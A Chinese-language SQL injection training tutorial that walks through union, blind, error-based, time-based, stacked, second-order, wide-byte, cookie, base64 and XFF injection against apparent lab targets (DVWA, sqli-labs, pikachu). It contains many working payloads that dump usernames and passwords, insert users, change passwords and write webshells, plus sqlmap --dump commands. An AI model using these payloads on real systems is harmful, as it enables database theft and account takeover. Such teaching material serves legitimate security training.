SQL注入漏洞
漏洞原理
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。
产生原因
SQL注入漏洞的产生需要满足以下两个条件
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
测试方法
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用, 也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!
修复建议
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。
MySQL 预备知识
infomation_schema
在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面,这个库里面有很多表,这些表记录着Mysql数据库的相关信息,其中有几个表需要我们注意。
SCHEMATA表中SCHEMA_NAME保存着所有数据库的名字
可以使用如下的sql命令在information_schema数据库中查询所有数据库名

TABLES表中保存着Mysql中所有的表名
可以使用如下sql语句查询出指定数据库的所有表

COLUMNS表中保存了所有的列名
可以使用如下的方式查询到指定表的列名

MySQL(MariaDB)语句进阶操作
1.order by的用法
(1)将result表中的数据按照分数(score)从高到低进行排序:
select * from result order by score desc;
其中,desc表示降序(递减);如果从低到高(升序)进行排列,则可以将desc换成asc;如果不加此参数,默认情况下按升序方式排列。

(2)分别尝试以下命令:
select id,name,score from result order by 1;

正常显示以id升序排列的结果。
select id,name,score from result order by 2;

正常显示以name升序排列的结果!
select id,name,score from result order by 3;

正常显示以score升序排列的结果!
select id,name,score from result order by 4;

报错!
从以上结果可以总结出,对于以下命令:
select c1,c2,...,cn from result order by M;
order by后面的数字(M)必须小于或等于n(数据库查询的字段数),才能正常显示。如果M>n,数据库就会报错。可以利用这个特点判断数据库查询的字段数。
2.limit的用法
基本格式为:
limit M,N
//表示从第M+1条数据开始,顺序往下查询N条数据
limit M
//表示查询前M条数据
尝试执行以下两条命令:
select * from result limit 0,2;
//查询表中的前2条数据

select id,name,score from result limit 1,3;
//从第2条数据起,往下查询3条数据的id、name和score字段

3.union select的用法
select * from result union select 1,2,3,4;
此语句的查询结果,即是select * from result和select 1,2,3,4查询结果的拼接。

(2)尝试执行以下3条语句:
select id,name,score from result union select 1,2,3;

正常显示!
select id,name,score from result union select 1,2;

报错!
select id,name,score from result union select 1,2,3,4;

报错!
从以上结果可以总结,对于以下命令:
select c1,c2,...,cn from result union select d1,d2,...dm;
后半句union select查询的字段数(m)必须与前半句select查询的字段数(n)相等,数据库才能正常显示结果。与order by相似,可以利用这个特点判断数据库查询的字段数。
(3)尝试执行下列语句
select id,city from result where id=1 and 1=2 union select name,score from result;

从以上结果可以总结,在已知字段名的情况下,攻击者只要将该字段置于任何能够显示的位置,就可以暴露该字段的值。
4.union select结合information_schema数据库
MySQL(MariaDB)5.5以上版本自带information_schema数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。可以把information_schema数据库看作MySQL(MariaDB)的“目录”!
(1)尝试执行以下两条语句:
show databases;
select schema_name from information_schema.schemata;

两条语句执行结果相同!
(2)尝试执行以下两组语句:
第一组:
use student;
show tables;
第二组:
select table_name from information_schema.tables where table_schema='student';

两组命令执行结果相同!
判断是否存在注入
回显是指页面有数据或者信息 无回显是指根据输入的语句页面没有任何变化,或者没有数据库中的内容显示到页面中
id=1 and 1=1
id=1 and 1=2
id=1 or 1=1
id='1' or '1'='1'
id="1" or "1"="1"
SQL注释符
# 单行注释 注意与url中的#区分,编码为%23
--空格 单行注释 注意为 减号 减号 空格
/* */ 多行注释 至少存在两处的注入 /**/常用来充当空格
SQL常用函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() 转成16进制或者是10进制MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL安装路径
@@version_compile_os 操作系统
注入流程
是否存在注入并且判断注入类型
判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file('C:\windows\win.ini')#
写入webshell select .. into.. outfile...
注意:在遇到单引号或双引号转义时可以使用HEX编码绕过
注入分类
SQL注入分类,按SQLMap中的分类来看,SQL注入类型有以下5种:
- UNION query SQL injection (可联合查询注入)
- Stacked queries SQL injection (可多语句查询注入,堆叠查询)
- Boolean-based blind SQL injection (布尔型注入)
- Time-based blind SQL injection (基于时间延迟注入)
接受请求类型区分
- GET注入
- POST注入
- 头部注入
注入数据类型却分
- 数字型注入
select * from users where id=1
- 字符型注入
select * from users where username='admin'
- 搜索型注入
select * from news where title like '%标题%'
union联合注入
创建表
create table admin(
id int PRIMARY key auto_increment,
username VARCHAR(255) not null,
password VARCHAR(255) not null
) ENGINE=innodb default charset=utf8;
insert into admin(username, password) value
('张三','123456'),
('李四','654321');
查询表

如果不知道用户名的情况下,就不会查询到任何结果

可以使用union查询在结果后面拼接一个内容

拼接上去的内容列数必须要与之前查询结果显示的列数相同,不然会报错

在拼接上去的内容里面可以插入一些查询函数,就可以获取一些信息

DVWA靶场案例
分析代码

使用$_REQUEST 直接接收 id 参数,且没有进行过滤,且可以接收 cookie get post 这些传递方法。当传入 1 的时,页面正常返回用户信息。 如果传入 1' 语法会出现语句 You have an error in your SQL syntax;这种英文是mysql 语法错误提示。

根据代码分析'$id'是属于字符串类型 所以在进行 SQL 注入检测的时候要注意匹配字符串
判断SQL注入
输入 1'and '1'='1页面返回用户信息 1'and '1'='2 页面返回不一样的信息。基本可以确定存在 SQL注入漏洞

判断字段数
使用语句 order by 确定当前表的字符数 order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类推直到页面出错。正确的字段数是出错数字减少 1

获取敏感信息
获取可以得到回显的位置,在此案例中两个字段都可以回显

获取当前数据库名称,group_concat()可以将多组数据进行合并,0x3A是冒号的HEX编码

知道当前数据库是d14_s_iproute_cn
获取表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='d14_s_iproute_cn' --

知道当前数据表名是guestbook,users
获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --

敏感字段为user,password
获取字段内容
-1' union select 1,group_concat(user,0x3A,password) from users limit 0,1 --

Boolean布尔型盲注
在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

判断布尔型盲注
输入SQL注入检测语句,判断页面是否不一样,如果不一样大概会存在SQL注入漏洞。


也可以使用sleep()函数查看是否会存在时间盲注

通过布尔型盲注获取数据库信息
substring(<字符串>,<开始截取>,<截取长度>) 通过将查询到的结果的字母进行比对,可以通过布尔型盲注获取数据的内容,以下代码可以确认数据库名第一个字母是d,如果不是d将会显示另外一个不匹配的页面
1' and substring(database(),1,1)='d' --

接下来可以查询第二个字母,并且以此类推,可以将需要查询的字符转换为ascii字符编码,然后进行大于小于比对加快查询速度,通过对照ascii码表可以很快锁定字符是什么
1' and ascii(substring(database(),1,1))>97 --

使用burpsuite工具
使用burpsuite抓取提交的数据包,通过如下代码获取表名
1' and substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='d' --
选择cluster bomb模式,并且在如下两个位置处插入变量,方便后续通过字典进行穷举

第一个变量是字符的长度,可以适当设置长一些

第二个变量选择从字符中遍历

开启进行测试

将得到的结果进行整理,可以获取到想要的数据

由于服务器并不区分大小写,所以将字典中大写删除,再次尝试,得到有一个表名为guestbook

通过此方式可以将数据库中的敏感信息全部查询出来,第二个数据表名为users

通过这样的方式,可以将数据库中的信息全部获取
报错注入
数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法错误语句select'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1
程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。

如果语法错误,在PHP中,可以使用mysqli_error()、mysqli_connect_error()语句将语法错误信息显示到页面上。

updatexml报错注入
已知在sql语句中有种函数是updatexml(xml_target, xpath_expr, new_xml),这个函数原本的作用是用来更新选定XML片段的内容,但是原本的作用已经不重要了,我们发现只要xpath_expr不是一个目录路径,这个代码就会报错
通过上面的测试,我们发现这个报错信息中包含了我们写入的查询语句,也就是如果发现网站存在sql报错的地方,就可以执行任意的查询语句
select updatexml('1',concat('~',(你要查询的语句)),'1');
在配合上我们前面学来的从information_schema中的一系列查询,就可以把敏感信息从数据库中查询出来
报错注入靶场实战
构造工具语句,获取数据库名信息
1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

但是采用updatexml报错函数只能显示32位长度的内容,如果获取的内容超过32字符就要采用字符串截取方法。 updatexml()最多显示32位长度的错误字符,如果显示内容过长我们可以使用substr()来截取。
# substr(password,10)表示从第10位开始截取后面的内容
' and updatexml('1',concat('~',(
select substr(password,10) from admin limit 0,1
)),'1')#
使用下面语句查询表名
1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema= database()),0x7e),1) --+

使用下面语句查询字段名
1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
得到的结果如下,显示并不完整

截取字符串,查看完整内容
1'and updatexml(1,concat(0x7e,(select substr(group_concat(column_name),50) from information_schema.columns where table_name='users'),0x7e),1) --+
一直查询到结束,获得完整字符串为
~user_id,first_name,last_name,user,password,avatar,last_login,failed_login~
也可以使用limit来将字段名一个个获取
1' and updatexml(1,concat(0x7e,(
select column_name from information_schema.columns where table_name='users' limit 0,1
),0x7e),1) --+
查看到第一个字段名

查看第二个字段名
1' and updatexml(1,concat(0x7e,(
select column_name from information_schema.columns where table_name='users' limit 1,1
),0x7e),1) --+

可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。




开始攻击,并且最终得到所有的字段名

通过这样的方式可以获取所有的用户名和密码
1' and updatexml(1,concat(0x7e,(select concat(0x23,user,0x3a,password,0x23) from users limit 0,1),0x7e),1) --+

由于updatexml只能显示32位报错信息,所以此处显示不完整,下面的floor报错将没有限制字符限制。
floor报错注入
为了弄清报错注入的原理,首先先创建了一个名为sqli的数据库,然后建表插入数据:
mysql> create database sqli;
mysql> create table user (
id int(11) not null auto_increment primary key,
name varchar(20) not null,
pass varchar(32) not null
);
mysql> insert into user (name, pass) values ('admin', md5('admin')), ('guest', md5('guest'));

我们先看一个基于floor()的报错SQL语句:
select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;
如果是第一次接触报错注入的话,一般会有这么几个问题。
Q1.floor()函数是什么?
A1.floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
Q2.rand(0)是什么意思?
A2.rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()

我们再测试一下rand(0)的效果

很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了,我们测试结果如下

Q3.为什么会出现报错?
A3.我们看一下报错的内容:Duplicate entry '15.5.53' for key 'group_key'。意思是说group_key条目重复。我们使用group by进行分组查询的时候,数据库会生成一张虚拟表

在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。 构造SQL注入语句如下
1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,database())x from information_schema.tables group by x)a)#
得到报错信息如下

使用burpsuite获取所有的用户名和密码
1' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(
select concat(0x23,user,0x3a,password,0x23) from users limit 0,1
),0x7e)x from information_schema.tables group by x)a)--+

十种SQL报错函数
1.floor() select from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection() select from test where id=1 and geometrycollection((select from(select * from(select user())a)b));

5.multipoint() select from test where id=1 and multipoint((select from(select * from(select user())a)b));

6.polygon() select from test where id=1 and polygon((select from(select * from(select user())a)b));

7.multipolygon() select from test where id=1 and multipolygon((select from(select * from(select user())a)b));

8.linestring() select from test where id=1 and linestring((select from(select * from(select user())a)b));

9.multilinestring() select from test where id=1 and multilinestring((select from(select * from(select user())a)b));

10.exp() select from test where id=1 and exp(~(select from(select user())a));

时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。 在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒根据这个原理来判断存在 SQL 时间注入。 代码示例
select if(2>1,sleep(10),0)
select if(length(database())>1,sleep(5),0)
1' or if(length(database())>1,sleep(5),0)--
查看网页响应时间,可以确认判断内容是否正确,下面两张图显示的是正确和错误时间上的差异


时间注入源码分析

使用sqlmap对注入检测(pikachu)
sqlmap -u "http://d19.s.iproute.cn/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
-u 表示检测的url -p 指定的检测参数 -v 显示调试模式 --technique=T 检测方法为时间注入

sqlmap 检测为时间注入,接下来通过这个注入获取数据库敏感信息。
sqlmap -u "http://d19.s.iproute.cn/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户 --current-db 获取数据库名 --batch 使用默认模式 就是自动帮你敲回车

sqlmap -u "http://d19.s.iproute.cn/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch --tables -D pikachu
-D 指定数据库 --tables 获取表

sqlmap -u "http://d19.s.iproute.cn/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch -D pikachu -T users --columns
-T 指定表 --columns 获取字段名

sqlmap -u "http://d19.s.iproute.cn/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --batch -D pikachu -T users -C "id,username,password" --dump
-C 指定查询的字段 --dump 导出数据

堆叠注入
一次性执行多个 SQL 语句的时候,比如说初始化数据库,导入备份。 堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。 堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。 在 php 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

堆叠注入源码分析
使用靶场的容器启动代码为
docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
传递参数后界面

查看源码

堆叠注入利用
可以先使用1' and 1=2--+和1' and 1=1--+确定是否存注入,然后使用堆叠注入进行检测。
1' order by 3--+
-1' union select 1,2,3 --+
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1)--+

获取字段名
-1' union select 1,2,(
select group_concat(column_name) from information_schema.columns where table_name='users' limit 1
)--+

在知道表和列的情况下,手动添加用户,如果有管理员表,还可以直接添加管理员
-1';insert into users(id,username,password)values(1000,'eagleslab','123456')--+
下面访问id为1000的用户

二次注入
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.
二次注入源码分析
靶场地址:http://d16.s.iproute.cn/Less-24/ login_create.php

在login.php源码中查看

在pass_change.php中查看源码

开发人员认为session作为服务器上存在的数据,并不是让用户输入的数据就是安全的,但是此处的用户名用户完全可以构造一个sql注入语句,这样在修改密码的时候就可以触发执行了恶意代码。
二次注入利用
二次注入判断,一般情况下网站都会对输入的参数进行过滤,后寻找可能会带入恶意数据二次使用的地方。
例如用户注册->修改密码,邮箱注册->修改密码,文章添加->文章编辑。找一切存在二次使用的功能点。
分别注册如下三个用户,密码随意
a',a' and 1=1#,a' and 1=2#
并且尝试修改这三个用户的密码,确认密码是否修改成功,下面是注册后数据库的界面


发现如果用户是a' and 1=2#密码怎么都修改不成功,跳出来bug提示页面

可以尝试修改其他用户的密码,注册一个用户,用户名为
a';update users set password='a123456' where username='eagleslab'#
但是,这个案例中username字段限制字符串最长为20,所以并不能够成功


但是可以清空表

注册用户eagleslab'#,然后修改密码为a123456

然后发现竟然修改了eagleslab用户的密码,如果eagleslab用户是管理员的话,就可以获取管理员账户

二次注入cms实战
先注册一个用户

在创建简历的地方存在二次注入漏洞,此处可以修改变量的值,并且会存入数据库中

直接暴露了数据库管理员账户

查看数据库版本信息

宽字节注入
宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc 前提条件 简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入 深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。 gpc 绕过过程 %df%27\=\=\=(addslashes)\=\==>%df%5c%27\=\=\=(数据库 GBK)===>運'
宽字节注入源码分析
靶场地址:http://d16.s.iproute.cn/Less-32/ 从源代码分析,存在漏洞的代码 首先 check_addlashes 是将特殊字符进行过滤将' 变成\' mysql_query 设置数据库的编码为 gbk 将 id 参数传入到 SQL 中带入查询。传入%df%27 即可逃逸 gpc,故存在宽字节注入。

宽字节注入利用
宽字节检测较为简单 输入%df%27 检测即可或者使用配合 and 1=1 检测即可

查询一下数据库敏感信息
-1%df' union select 1,version(),database()--+

Cookie注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。GET 在url 传递参数、POST 在 协议报文传递参数和值,COOKIE 在 cookie 头传值。
Cookie注入代码分析
靶场地址:http://d16.s.iproute.cn/Less-20/

Cookie注入利用
使用burpsuite抓包,并且修改post提交的数据 在cookie中提交注入代码,1=1和1=2网页内容不一样


使用order by + 联合查询,获取敏感数据


获取当前数据库名

获取数据表名

获取字段名

获取用户名密码

Cookie注入cms实战
很多cms会对get和post进行拦截

很多网站对于参数的接受的方法也是比较多的,post也可以传递

不过post数据也会作为过滤重点

cookie也一样能够提交参数

但是cookie却没有做拦截

使用sqlmap对cookie进行探测,得到服务器相关信息
sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2
获取数据表名
sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2 --tables
获取字段名
sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2 -T "admin" --columns
获取管理员用户名和密码
sqlmap -u "http://d8.s.iproute.cn/shownews.asp" --cookie "id=27" --level 2 -T "admin" -C "username,password" --dump

base64编码注入
base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。 数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。 在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码,base64_decode()这个函数对 base64 进行解码。 base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执行,从而实现 SQL 注入。
base64编码注入代码分析

base64编码注入利用
首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。 如果存在类似==等,可以用 base64 解码进行测试。 admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA== admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA== 本次测试的页面是 cookie 所以需要 cookie 提交 而且有括号需要闭合


使用报错注入也可以
uname=admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--

xff注入
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。 除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值,所以服务端接受这两个参数的时候 没有过滤会造成 SQL 注入或者更高的危害。
xff注入cms实战
bluecms 在大部分需要提交信息的网站上,记录IP地址是必须的,即使HTTP头部没有X-Forwarded-For或者client-ip也会被记录,所以手动添加在很多时候也是可行的。

分析报错的原始sql语句,其中123是提交的评论内容
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '4', '0', '1', '1', '123', '1675321172', '1.1.1.1'', '1')
我们可以闭合标签,追加一行内容,下面的内容中,第2行就是要加入的注入语句,这样就可以将我们想查询的内容以评论的方式留在网页上
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '4', '0', '1', '1', '123', '1675321172', '
1.1.1.1', '1'),('', '4', '0', '1', '1', (select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1), '1675321172', '1.1.1.1', '1')#
使用sqlmap对http头部进行注入,指定注入点,将内容保存到记事本中

sqlmap -r C:\Users\simid\Desktop\p.txt --batch --tables -D d6_s_iproute_cn